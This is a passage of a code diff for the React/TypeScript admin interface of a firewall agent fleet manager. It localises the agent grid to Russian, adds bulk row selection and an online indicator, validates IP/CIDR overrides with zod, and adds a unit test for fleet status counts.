* Fleet triage DataGrid — firewall ops density.
|
* Fleet triage DataGrid — firewall ops density.
|
||||||
@@ -34,30 +41,6 @@ import {
|
|||||||
* · https://reui.io/preview/base/solution-agents-1
|
* · https://reui.io/preview/base/solution-agents-1
|
||||||
*/
|
*/
|
||||||
|
|
||||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
|
||||||
notation: 'compact',
|
|
||||||
maximumFractionDigits: 1,
|
|
||||||
})
|
|
||||||
|
|
||||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
|
||||||
day: '2-digit',
|
|
||||||
month: '2-digit',
|
|
||||||
hour: '2-digit',
|
|
||||||
minute: '2-digit',
|
|
||||||
})
|
|
||||||
|
|
||||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
|
||||||
if (!hasApply || n === undefined) return '—'
|
|
||||||
return packetFmt.format(n)
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatAgentSeen(iso: string | null | undefined): string {
|
|
||||||
if (!iso) return '—'
|
|
||||||
const t = Date.parse(iso)
|
|
||||||
if (Number.isNaN(t)) return '—'
|
|
||||||
return seenFmt.format(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
export type AgentFleetDataGridProps = {
|
export type AgentFleetDataGridProps = {
|
||||||
data: Agent[]
|
data: Agent[]
|
||||||
filterFields: FilterFieldConfig[]
|
filterFields: FilterFieldConfig[]
|
||||||
@@ -77,7 +60,17 @@ export type AgentFleetDataGridProps = {
|
|||||||
error?: Error | null
|
error?: Error | null
|
||||||
onRetry?: () => void
|
onRetry?: () => void
|
||||||
emptyAction?: ReactNode
|
emptyAction?: ReactNode
|
||||||
|
filteredEmptyMessage?: string
|
||||||
toolbarExtra?: ReactNode
|
toolbarExtra?: ReactNode
|
||||||
|
/** Bulk-операции: controlled selection пробрасывается в ResourcePage. */
|
||||||
|
enableRowSelection?: boolean
|
||||||
|
rowSelection?: RowSelectionState
|
||||||
|
onRowSelectionChange?: (rowSelection: RowSelectionState) => void
|
||||||
|
selectionToolbar?: (ctx: {
|
||||||
|
selectedIds: string[]
|
||||||
|
selectedCount: number
|
||||||
|
clearSelection: () => void
|
||||||
|
}) => ReactNode
|
||||||
onSelect: (id: string) => void
|
onSelect: (id: string) => void
|
||||||
onApprove: (id: string) => void
|
onApprove: (id: string) => void
|
||||||
approvePending?: boolean
|
approvePending?: boolean
|
||||||
@@ -104,7 +97,12 @@ export function AgentFleetDataGrid({
|
|||||||
error,
|
error,
|
||||||
onRetry,
|
onRetry,
|
||||||
emptyAction,
|
emptyAction,
|
||||||
|
filteredEmptyMessage,
|
||||||
toolbarExtra,
|
toolbarExtra,
|
||||||
|
enableRowSelection,
|
||||||
|
rowSelection,
|
||||||
|
onRowSelectionChange,
|
||||||
|
selectionToolbar,
|
||||||
onSelect,
|
onSelect,
|
||||||
onApprove,
|
onApprove,
|
||||||
approvePending,
|
approvePending,
|
||||||
@@ -121,6 +119,18 @@ export function AgentFleetDataGrid({
|
|||||||
|
|
||||||
const columns: ColumnDef<Agent>[] = useMemo(
|
const columns: ColumnDef<Agent>[] = useMemo(
|
||||||
() => [
|
() => [
|
||||||
|
...(enableRowSelection
|
||||||
|
? [
|
||||||
|
{
|
||||||
|
id: '__select__',
|
||||||
|
enableSorting: false,
|
||||||
|
enableResizing: false,
|
||||||
|
size: 44,
|
||||||
|
header: () => <DataGridTableRowSelectAll />,
|
||||||
|
cell: ({ row }) => <DataGridTableRowSelect row={row} />,
|
||||||
|
} as ColumnDef<Agent>,
|
||||||
|
]
|
||||||
|
: []),
|
||||||
{
|
{
|
||||||
accessorKey: 'name',
|
accessorKey: 'name',
|
||||||
size: 260,
|
size: 260,
|
||||||
@@ -159,12 +169,12 @@ export function AgentFleetDataGrid({
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'default_action',
|
id: 'default_action',
|
||||||
size: 100,
|
size: 130,
|
||||||
minSize: 90,
|
minSize: 120,
|
||||||
maxSize: 120,
|
maxSize: 150,
|
||||||
accessorFn: (row) => row.default_action,
|
accessorFn: (row) => row.default_action,
|
||||||
header: ({ column }) => (
|
header: ({ column }) => (
|
||||||
<DataGridColumnHeader column={column} title="Default" />
|
<DataGridColumnHeader column={column} title="Политика" />
|
||||||
),
|
),
|
||||||
cell: ({ row }) => {
|
cell: ({ row }) => {
|
||||||
const drop = row.original.default_action === 'drop'
|
const drop = row.original.default_action === 'drop'
|
||||||
@@ -174,19 +184,19 @@ export function AgentFleetDataGrid({
|
|||||||
size="sm"
|
size="sm"
|
||||||
radius="full"
|
radius="full"
|
||||||
>
|
>
|
||||||
{drop ? 'Drop' : 'Accept'}
|
{drop ? 'Блокировать' : 'Пропускать'}
|
||||||
</Badge>
|
</Badge>
|
||||||
)
|
)
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'apply',
|
id: 'apply',
|
||||||
size: 100,
|
size: 110,
|
||||||
minSize: 90,
|
minSize: 100,
|
||||||
maxSize: 120,
|
maxSize: 130,
|
||||||
accessorFn: (row) => row.last_apply_status ?? '',
|
accessorFn: (row) => row.last_apply_status ?? '',
|
||||||
header: ({ column }) => (
|
header: ({ column }) => (
|
||||||
<DataGridColumnHeader column={column} title="Apply" />
|
<DataGridColumnHeader column={column} title="Применение" />
|
||||||
),
|
),
|
||||||
cell: ({ row }) => {
|
cell: ({ row }) => {
|
||||||
const a = row.original
|
const a = row.original
|
||||||
@@ -199,7 +209,7 @@ export function AgentFleetDataGrid({
|
|||||||
}
|
}
|
||||||
>
|
>
|
||||||
<Badge variant="destructive-light" size="sm">
|
<Badge variant="destructive-light" size="sm">
|
||||||
error
|
Ошибка
|
||||||
</Badge>
|
</Badge>
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent className="max-w-sm">
|
<TooltipContent className="max-w-sm">
|
||||||
@@ -211,9 +221,10 @@ export function AgentFleetDataGrid({
|
|||||||
if (!a.last_apply_status && !a.last_apply_at) {
|
if (!a.last_apply_status && !a.last_apply_at) {
|
||||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||||
}
|
}
|
||||||
|
const status = a.last_apply_status ?? 'ok'
|
||||||
return (
|
return (
|
||||||
<Badge variant="secondary" size="sm">
|
<Badge variant="secondary" size="sm">
|
||||||
{a.last_apply_status ?? 'ok'}
|
{status === 'applied' ? 'Применено' : status}
|
||||||
</Badge>
|
</Badge>
|
||||||
)
|
)
|
||||||
},
|
},
|
||||||
@@ -226,13 +237,13 @@ export function AgentFleetDataGrid({
|
|||||||
accessorFn: (row) =>
|
accessorFn: (row) =>
|
||||||
agentTrafficDropped(row) + agentTrafficAccepted(row),
|
agentTrafficDropped(row) + agentTrafficAccepted(row),
|
||||||
header: ({ column }) => (
|
header: ({ column }) => (
|
||||||
<DataGridColumnHeader column={column} title="Traffic" />
|
<DataGridColumnHeader column={column} title="Трафик" />
|
||||||
),
|
),
|
||||||
cell: ({ row }) => {
|
cell: ({ row }) => {
|
||||||
const a = row.original
|
const a = row.original
|
||||||
const hasApply = agentHasTrafficSample(a)
|
const hasApply = agentHasTrafficSample(a)
|
||||||
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
|
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
|
||||||
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
|
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
|
||||||
if (dropped === '—' && accepted === '—') {
|
if (dropped === '—' && accepted === '—') {
|
||||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||||
}
|
}
|
||||||
@@ -247,39 +258,44 @@ export function AgentFleetDataGrid({
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
accessorKey: 'last_seen_at',
|
accessorKey: 'last_seen_at',
|
||||||
size: 140,
|
size: 150,
|
||||||
minSize: 120,
|
minSize: 130,
|
||||||
maxSize: 180,
|
maxSize: 190,
|
||||||
header: ({ column }) => (
|
header: ({ column }) => (
|
||||||
<DataGridColumnHeader column={column} title="Seen" />
|
<DataGridColumnHeader column={column} title="Активность" />
|
||||||
),
|
),
|
||||||
cell: ({ row }) => {
|
cell: ({ row }) => {
|
||||||
const a = row.original
|
const a = row.original
|
||||||
const short = formatAgentSeen(a.last_seen_at)
|
if (!a.last_seen_at) {
|
||||||
if (!a.last_seen_at || short === '—') {
|
|
||||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||||
}
|
}
|
||||||
return (
|
return (
|
||||||
|
<div className="flex min-w-0 items-center gap-2">
|
||||||
|
<AgentOnlineDot agent={a} />
|
||||||
<DataGridPrimaryCell
|
<DataGridPrimaryCell
|
||||||
accent="default"
|
accent="default"
|
||||||
title={short}
|
title={formatRelativeTime(a.last_seen_at)}
|
||||||
subtitle={a.last_seen_ip ?? undefined}
|
subtitle={a.last_seen_ip ?? undefined}
|
||||||
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal [&>span:first-child]:tabular-nums"
|
className="[&>span:first-child]:text-xs [&>span:first-child]:font-normal"
|
||||||
/>
|
/>
|
||||||
|
</div>
|
||||||
)
|
)
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'gen',
|
id: 'gen',
|
||||||
size: 70,
|
size: 110,
|
||||||
minSize: 60,
|
minSize: 100,
|
||||||
maxSize: 90,
|
maxSize: 130,
|
||||||
accessorFn: (row) => row.policy_generation,
|
accessorFn: (row) => row.policy_generation,
|
||||||
header: ({ column }) => (
|
header: ({ column }) => (
|
||||||
<DataGridColumnHeader column={column} title="Gen" />
|
<DataGridColumnHeader column={column} title="Поколение" />
|
||||||
),
|
),
|
||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<span className="text-muted-foreground text-xs tabular-nums">
|
<span
|
||||||
|
className="text-muted-foreground text-xs tabular-nums"
|
||||||
|
title="Версия применённой политики — растёт при каждом apply"
|
||||||
|
>
|
||||||
{row.original.policy_generation}
|
{row.original.policy_generation}
|
||||||
</span>
|
</span>
|
||||||
),
|
),
|
||||||
@@ -300,7 +316,7 @@ export function AgentFleetDataGrid({
|
|||||||
<Button
|
<Button
|
||||||
size="icon-sm"
|
size="icon-sm"
|
||||||
variant="ghost"
|
variant="ghost"
|
||||||
aria-label="Approve"
|
aria-label="Утвердить"
|
||||||
disabled={approvePending}
|
disabled={approvePending}
|
||||||
onClick={(e) => {
|
onClick={(e) => {
|
||||||
e.stopPropagation()
|
e.stopPropagation()
|
||||||
@@ -314,7 +330,7 @@ export function AgentFleetDataGrid({
|
|||||||
<Button
|
<Button
|
||||||
size="icon-sm"
|
size="icon-sm"
|
||||||
variant="ghost"
|
variant="ghost"
|
||||||
aria-label="Copy install"
|
aria-label="Скопировать команду установки"
|
||||||
onClick={(e) => handleCopy(a.install_curl!, e)}
|
onClick={(e) => handleCopy(a.install_curl!, e)}
|
||||||
>
|
>
|
||||||
<Copy className="size-3.5" />
|
<Copy className="size-3.5" />
|
||||||
@@ -348,7 +364,7 @@ export function AgentFleetDataGrid({
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
[approvePending, handleCopy, onApprove, onDelete, onSelect],
|
[approvePending, handleCopy, onApprove, onDelete, onSelect, enableRowSelection],
|
||||||
)
|
)
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -369,6 +385,10 @@ export function AgentFleetDataGrid({
|
|||||||
getSearchText={getSearchText}
|
getSearchText={getSearchText}
|
||||||
tableLayout={{ width: 'fixed', columnsResizable: true }}
|
tableLayout={{ width: 'fixed', columnsResizable: true }}
|
||||||
onRowClick={(row) => onSelect(row.id)}
|
onRowClick={(row) => onSelect(row.id)}
|
||||||
|
enableRowSelection={enableRowSelection}
|
||||||
|
rowSelection={rowSelection}
|
||||||
|
onRowSelectionChange={onRowSelectionChange}
|
||||||
|
selectionToolbar={selectionToolbar}
|
||||||
tabs={tabs}
|
tabs={tabs}
|
||||||
activeTab={activeTab}
|
activeTab={activeTab}
|
||||||
onTabChange={onTabChange}
|
onTabChange={onTabChange}
|
||||||
@@ -378,10 +398,11 @@ export function AgentFleetDataGrid({
|
|||||||
error={error}
|
error={error}
|
||||||
onRetry={onRetry}
|
onRetry={onRetry}
|
||||||
toolbarExtra={toolbarExtra}
|
toolbarExtra={toolbarExtra}
|
||||||
|
filteredEmptyMessage={filteredEmptyMessage}
|
||||||
emptyState={{
|
emptyState={{
|
||||||
title: 'Нет агентов',
|
title: 'Нет агентов',
|
||||||
description:
|
description:
|
||||||
'Создайте агента — он появится в списке как Invited с командой установки.',
|
'Создайте агента — он появится в списке со статусом «Приглашён» и командой установки.',
|
||||||
action: emptyAction,
|
action: emptyAction,
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ import {
|
|||||||
SelectValue,
|
SelectValue,
|
||||||
} from '@evofw/ui/components/select'
|
} from '@evofw/ui/components/select'
|
||||||
import { TabsContent } from '@evofw/ui/components/tabs'
|
import { TabsContent } from '@evofw/ui/components/tabs'
|
||||||
|
import { formatDateTime } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Observed host firewall + listeners (Linux).
|
* Observed host firewall + listeners (Linux).
|
||||||
@@ -229,7 +230,7 @@ export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
|
|||||||
<FrameDescription>
|
<FrameDescription>
|
||||||
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
|
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
|
||||||
{q.data?.collected_at
|
{q.data?.collected_at
|
||||||
? ` Обновлено: ${new Date(q.data.collected_at).toLocaleString('ru-RU')}`
|
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
|
||||||
: ' Пока нет снимка — дождитесь sync агента.'}
|
: ' Пока нет снимка — дождитесь sync агента.'}
|
||||||
</FrameDescription>
|
</FrameDescription>
|
||||||
</FrameHeader>
|
</FrameHeader>
|
||||||
|
|||||||
@@ -1,123 +0,0 @@
|
|||||||
import type { Agent } from '@evofw/shared'
|
|
||||||
import {
|
|
||||||
Timeline,
|
|
||||||
TimelineContent,
|
|
||||||
TimelineDate,
|
|
||||||
TimelineHeader,
|
|
||||||
TimelineIndicator,
|
|
||||||
TimelineItem,
|
|
||||||
TimelineSeparator,
|
|
||||||
TimelineTitle,
|
|
||||||
} from '@/components/reui/timeline'
|
|
||||||
import {
|
|
||||||
Frame,
|
|
||||||
FrameDescription,
|
|
||||||
FrameHeader,
|
|
||||||
FramePanel,
|
|
||||||
FrameTitle,
|
|
||||||
} from '@/components/reui/frame'
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Agent lifecycle timeline.
|
|
||||||
* Preview: https://reui.io/preview/base/solution-agents-3
|
|
||||||
* Docs: https://reui.io/docs/components/base/timeline
|
|
||||||
*/
|
|
||||||
|
|
||||||
type Step = {
|
|
||||||
title: string
|
|
||||||
date?: string | null
|
|
||||||
detail?: string
|
|
||||||
done: boolean
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatWhen(iso?: string | null): string | undefined {
|
|
||||||
if (!iso) return undefined
|
|
||||||
const d = new Date(iso)
|
|
||||||
if (Number.isNaN(d.getTime())) return iso
|
|
||||||
return d.toLocaleString('ru-RU')
|
|
||||||
}
|
|
||||||
|
|
||||||
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
|
|
||||||
const steps: Step[] = [
|
|
||||||
{
|
|
||||||
title: 'Создан (Invited)',
|
|
||||||
date: agent.created_at,
|
|
||||||
detail: 'Install-ссылка выдана',
|
|
||||||
done: true,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
title: 'Первый контакт',
|
|
||||||
date: agent.last_seen_at,
|
|
||||||
detail: agent.last_seen_ip
|
|
||||||
? `IP ${agent.last_seen_ip}`
|
|
||||||
: agent.hostname
|
|
||||||
? agent.hostname
|
|
||||||
: 'Ещё не подключался',
|
|
||||||
done: Boolean(agent.last_seen_at),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
title: 'Approved',
|
|
||||||
date: agent.approved_at,
|
|
||||||
detail: agent.status === 'pending' ? 'Ожидает approve' : undefined,
|
|
||||||
done: Boolean(agent.approved_at) || agent.status === 'approved',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
title: 'Last apply',
|
|
||||||
date: agent.last_apply_at,
|
|
||||||
detail: agent.last_apply_error
|
|
||||||
? agent.last_apply_error
|
|
||||||
: (agent.last_apply_status ??
|
|
||||||
(agent.last_apply_prefix_count != null
|
|
||||||
? `${agent.last_apply_prefix_count} prefixes`
|
|
||||||
: undefined)),
|
|
||||||
done: Boolean(agent.last_apply_at),
|
|
||||||
},
|
|
||||||
]
|
|
||||||
|
|
||||||
if (agent.revoked_at || agent.status === 'revoked') {
|
|
||||||
steps.push({
|
|
||||||
title: 'Revoked',
|
|
||||||
date: agent.revoked_at,
|
|
||||||
done: true,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
const activeStep = Math.max(
|
|
||||||
1,
|
|
||||||
steps.reduce((acc, s, i) => (s.done ? i + 1 : acc), 1),
|
|
||||||
)
|
|
||||||
|
|
||||||
return (
|
|
||||||
<Frame dense spacing="sm">
|
|
||||||
<FrameHeader>
|
|
||||||
<FrameTitle>Жизненный цикл</FrameTitle>
|
|
||||||
<FrameDescription>
|
|
||||||
Invite → enroll → approve → apply
|
|
||||||
</FrameDescription>
|
|
||||||
</FrameHeader>
|
|
||||||
<FramePanel>
|
|
||||||
<Timeline value={activeStep} className="gap-4 ps-6">
|
|
||||||
{steps.map((s, i) => (
|
|
||||||
<TimelineItem key={s.title} step={i + 1}>
|
|
||||||
<TimelineSeparator />
|
|
||||||
<TimelineIndicator />
|
|
||||||
<TimelineHeader>
|
|
||||||
<TimelineTitle>{s.title}</TimelineTitle>
|
|
||||||
{s.date ? (
|
|
||||||
<TimelineDate dateTime={s.date}>
|
|
||||||
{formatWhen(s.date)}
|
|
||||||
</TimelineDate>
|
|
||||||
) : (
|
|
||||||
<TimelineDate>—</TimelineDate>
|
|
||||||
)}
|
|
||||||
</TimelineHeader>
|
|
||||||
{s.detail ? (
|
|
||||||
<TimelineContent>{s.detail}</TimelineContent>
|
|
||||||
) : null}
|
|
||||||
</TimelineItem>
|
|
||||||
))}
|
|
||||||
</Timeline>
|
|
||||||
</FramePanel>
|
|
||||||
</Frame>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
import type { Agent } from '@evofw/shared'
|
||||||
|
import { isAgentOnline } from '@/lib/agent-online'
|
||||||
|
import { cn } from '@evofw/ui/lib/utils'
|
||||||
|
|
||||||
|
/** Индикатор «на связи» (last_seen < 5 мин) — тот же порог, что в API. */
|
||||||
|
export function AgentOnlineDot({
|
||||||
|
agent,
|
||||||
|
className,
|
||||||
|
}: {
|
||||||
|
agent: Pick<Agent, 'last_seen_at'> | null | undefined
|
||||||
|
className?: string
|
||||||
|
}) {
|
||||||
|
const online = isAgentOnline(agent)
|
||||||
|
const label = online ? 'На связи' : 'Не на связи'
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
role="img"
|
||||||
|
aria-label={label}
|
||||||
|
title={label}
|
||||||
|
className={cn(
|
||||||
|
'inline-block size-2 shrink-0 rounded-full',
|
||||||
|
online ? 'bg-success' : 'bg-muted-foreground/30',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,6 +1,10 @@
|
|||||||
import { useState } from 'react'
|
import { useState } from 'react'
|
||||||
import { Trash2 } from 'lucide-react'
|
import { Trash2 } from 'lucide-react'
|
||||||
import { toast } from 'sonner'
|
import { toast } from 'sonner'
|
||||||
|
import { Controller, useForm } from 'react-hook-form'
|
||||||
|
import { zodResolver } from '@hookform/resolvers/zod'
|
||||||
|
import { z } from 'zod'
|
||||||
|
import { parseListEntry } from '@evofw/shared'
|
||||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||||
import {
|
import {
|
||||||
agentOverridesQueryOptions,
|
agentOverridesQueryOptions,
|
||||||
@@ -8,8 +12,9 @@ import {
|
|||||||
} from '@/queries'
|
} from '@/queries'
|
||||||
import { apiFetch } from '@/lib/api'
|
import { apiFetch } from '@/lib/api'
|
||||||
import { Badge } from '@/components/reui/badge'
|
import { Badge } from '@/components/reui/badge'
|
||||||
|
import { LoadingButton } from '@/components/loading-button'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { Button } from '@evofw/ui/components/button'
|
||||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
import { Field, FieldError, FieldLabel } from '@evofw/ui/components/field'
|
||||||
import { Input } from '@evofw/ui/components/input'
|
import { Input } from '@evofw/ui/components/input'
|
||||||
import { ScrollArea } from '@evofw/ui/components/scroll-area'
|
import { ScrollArea } from '@evofw/ui/components/scroll-area'
|
||||||
import {
|
import {
|
||||||
@@ -40,6 +45,29 @@ type OverrideSheetProps = {
|
|||||||
onOpenChange: (open: boolean) => void
|
onOpenChange: (open: boolean) => void
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const OVERRIDE_ACTION_ITEMS = [
|
||||||
|
{ value: 'deny', label: 'deny — блокировать' },
|
||||||
|
{ value: 'allow', label: 'allow — пропускать' },
|
||||||
|
] as const
|
||||||
|
|
||||||
|
const overrideSchema = z.object({
|
||||||
|
cidr: z
|
||||||
|
.string()
|
||||||
|
.trim()
|
||||||
|
.min(1, 'Укажите CIDR или IP')
|
||||||
|
.refine((v) => {
|
||||||
|
try {
|
||||||
|
const kind = parseListEntry(v).kind
|
||||||
|
return kind === 'cidr' || kind === 'ip'
|
||||||
|
} catch {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}, 'Ожидается IP или CIDR, например 1.2.3.4/32'),
|
||||||
|
action: z.enum(['deny', 'allow']),
|
||||||
|
})
|
||||||
|
|
||||||
|
type OverrideValues = z.infer<typeof overrideSchema>
|
||||||
|
|
||||||
export function AgentOverrideSheet({
|
export function AgentOverrideSheet({
|
||||||
agentId,
|
agentId,
|
||||||
open,
|
open,
|
||||||
@@ -50,18 +78,21 @@ export function AgentOverrideSheet({
|
|||||||
...agentOverridesQueryOptions(agentId),
|
...agentOverridesQueryOptions(agentId),
|
||||||
enabled: open,
|
enabled: open,
|
||||||
})
|
})
|
||||||
const [cidr, setCidr] = useState('')
|
const form = useForm<OverrideValues>({
|
||||||
const [action, setAction] = useState<'allow' | 'deny'>('deny')
|
resolver: zodResolver(overrideSchema),
|
||||||
|
defaultValues: { cidr: '', action: 'deny' },
|
||||||
|
mode: 'onBlur',
|
||||||
|
})
|
||||||
|
|
||||||
const add = useMutation({
|
const add = useMutation({
|
||||||
mutationFn: () =>
|
mutationFn: (values: OverrideValues) =>
|
||||||
apiFetch(`/api/v1/agents/${agentId}/overrides`, {
|
apiFetch(`/api/v1/agents/${agentId}/overrides`, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: JSON.stringify({ cidr, action }),
|
body: JSON.stringify(values),
|
||||||
}),
|
}),
|
||||||
onSuccess: () => {
|
onSuccess: () => {
|
||||||
toast.success('Override добавлен — подхватится на следующей итерации sync')
|
toast.success('Override добавлен — подхватится на следующей итерации sync')
|
||||||
setCidr('')
|
form.reset({ cidr: '', action: 'deny' })
|
||||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'overrides'] })
|
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'overrides'] })
|
||||||
void qc.invalidateQueries({ queryKey: ['agents', agentId] })
|
void qc.invalidateQueries({ queryKey: ['agents', agentId] })
|
||||||
},
|
},
|
||||||
@@ -96,42 +127,58 @@ export function AgentOverrideSheet({
|
|||||||
|
|
||||||
<ScrollArea className="flex-1 px-4">
|
<ScrollArea className="flex-1 px-4">
|
||||||
<div className="flex flex-col gap-4 py-2 pb-4">
|
<div className="flex flex-col gap-4 py-2 pb-4">
|
||||||
<div className="grid gap-3">
|
<form
|
||||||
<Field>
|
onSubmit={form.handleSubmit((values) => add.mutateAsync(values))}
|
||||||
|
className="grid gap-3"
|
||||||
|
>
|
||||||
|
<Field
|
||||||
|
data-invalid={Boolean(form.formState.errors.cidr) || undefined}
|
||||||
|
>
|
||||||
<FieldLabel htmlFor="ov-cidr">CIDR / IP</FieldLabel>
|
<FieldLabel htmlFor="ov-cidr">CIDR / IP</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
id="ov-cidr"
|
id="ov-cidr"
|
||||||
placeholder="1.2.3.4/32"
|
placeholder="1.2.3.4/32"
|
||||||
value={cidr}
|
{...form.register('cidr')}
|
||||||
onChange={(e) => setCidr(e.target.value)}
|
aria-invalid={Boolean(form.formState.errors.cidr) || undefined}
|
||||||
/>
|
/>
|
||||||
|
<FieldError errors={[form.formState.errors.cidr]} />
|
||||||
</Field>
|
</Field>
|
||||||
<Field>
|
<Field>
|
||||||
<FieldLabel>Действие</FieldLabel>
|
<FieldLabel>Действие</FieldLabel>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="action"
|
||||||
|
render={({ field }) => (
|
||||||
<Select
|
<Select
|
||||||
value={action}
|
items={[...OVERRIDE_ACTION_ITEMS]}
|
||||||
|
value={field.value}
|
||||||
onValueChange={(v) => {
|
onValueChange={(v) => {
|
||||||
if (v) setAction(v as 'allow' | 'deny')
|
if (v === 'allow' || v === 'deny') field.onChange(v)
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<SelectTrigger className="w-full">
|
<SelectTrigger className="w-full">
|
||||||
<SelectValue />
|
<SelectValue />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
<SelectItem value="deny">deny</SelectItem>
|
{OVERRIDE_ACTION_ITEMS.map((item) => (
|
||||||
<SelectItem value="allow">allow</SelectItem>
|
<SelectItem key={item.value} value={item.value}>
|
||||||
|
{item.label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
</Field>
|
</Field>
|
||||||
<Button
|
<LoadingButton
|
||||||
|
type="submit"
|
||||||
size="sm"
|
size="sm"
|
||||||
|
isLoading={add.isPending}
|
||||||
className="self-start"
|
className="self-start"
|
||||||
disabled={!cidr.trim() || add.isPending}
|
|
||||||
onClick={() => add.mutate()}
|
|
||||||
>
|
>
|
||||||
Добавить
|
Добавить
|
||||||
</Button>
|
</LoadingButton>
|
||||||
</div>
|
</form>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<p className="text-sm font-medium">
|
<p className="text-sm font-medium">
|
||||||
|
|||||||
@@ -0,0 +1,82 @@
|
|||||||
|
import { describe, it, expect } from 'vitest'
|
||||||
|
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
|
||||||
|
import type { Agent } from '@evofw/shared'
|
||||||
|
|
||||||
|
function agent(patch: Partial<Agent>): Agent {
|
||||||
|
return {
|
||||||
|
id: 'a1',
|
||||||
|
name: 'a',
|
||||||
|
hostname: null,
|
||||||
|
platform: 'linux',
|
||||||
|
token_prefix: 'x',
|
||||||
|
status: 'approved',
|
||||||
|
default_action: 'accept',
|
||||||
|
policy_mode: 'blacklist',
|
||||||
|
policy_generation: 1,
|
||||||
|
last_seen_at: null,
|
||||||
|
last_seen_ip: null,
|
||||||
|
last_apply_at: null,
|
||||||
|
last_apply_status: null,
|
||||||
|
last_apply_error: null,
|
||||||
|
last_apply_prefix_count: null,
|
||||||
|
last_apply_packets_dropped: null,
|
||||||
|
last_apply_packets_accepted: null,
|
||||||
|
total_packets_dropped: 0,
|
||||||
|
total_packets_accepted: 0,
|
||||||
|
last_apply_kernel_method: null,
|
||||||
|
client_version: null,
|
||||||
|
created_at: '2026-01-01T00:00:00Z',
|
||||||
|
approved_at: null,
|
||||||
|
revoked_at: null,
|
||||||
|
install_curl: null,
|
||||||
|
install_link_id: null,
|
||||||
|
...patch,
|
||||||
|
} as Agent
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('agents-fleet-kpis', () => {
|
||||||
|
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
|
||||||
|
const now = Date.parse('2026-09-20T12:00:00Z')
|
||||||
|
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
|
||||||
|
expect(
|
||||||
|
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
|
||||||
|
).toBe(false)
|
||||||
|
expect(
|
||||||
|
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
|
||||||
|
).toBe(true)
|
||||||
|
expect(
|
||||||
|
isAgentStale(
|
||||||
|
agent({ status: 'pending', last_seen_at: null }),
|
||||||
|
now,
|
||||||
|
),
|
||||||
|
).toBe(false)
|
||||||
|
expect(
|
||||||
|
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
|
||||||
|
).toBe(true)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
|
||||||
|
const now = Date.now()
|
||||||
|
const counts = computeFleetCounts([
|
||||||
|
agent({ id: '1', status: 'pending' }),
|
||||||
|
agent({ id: '2', status: 'invited' }),
|
||||||
|
agent({ id: '3', status: 'revoked' }),
|
||||||
|
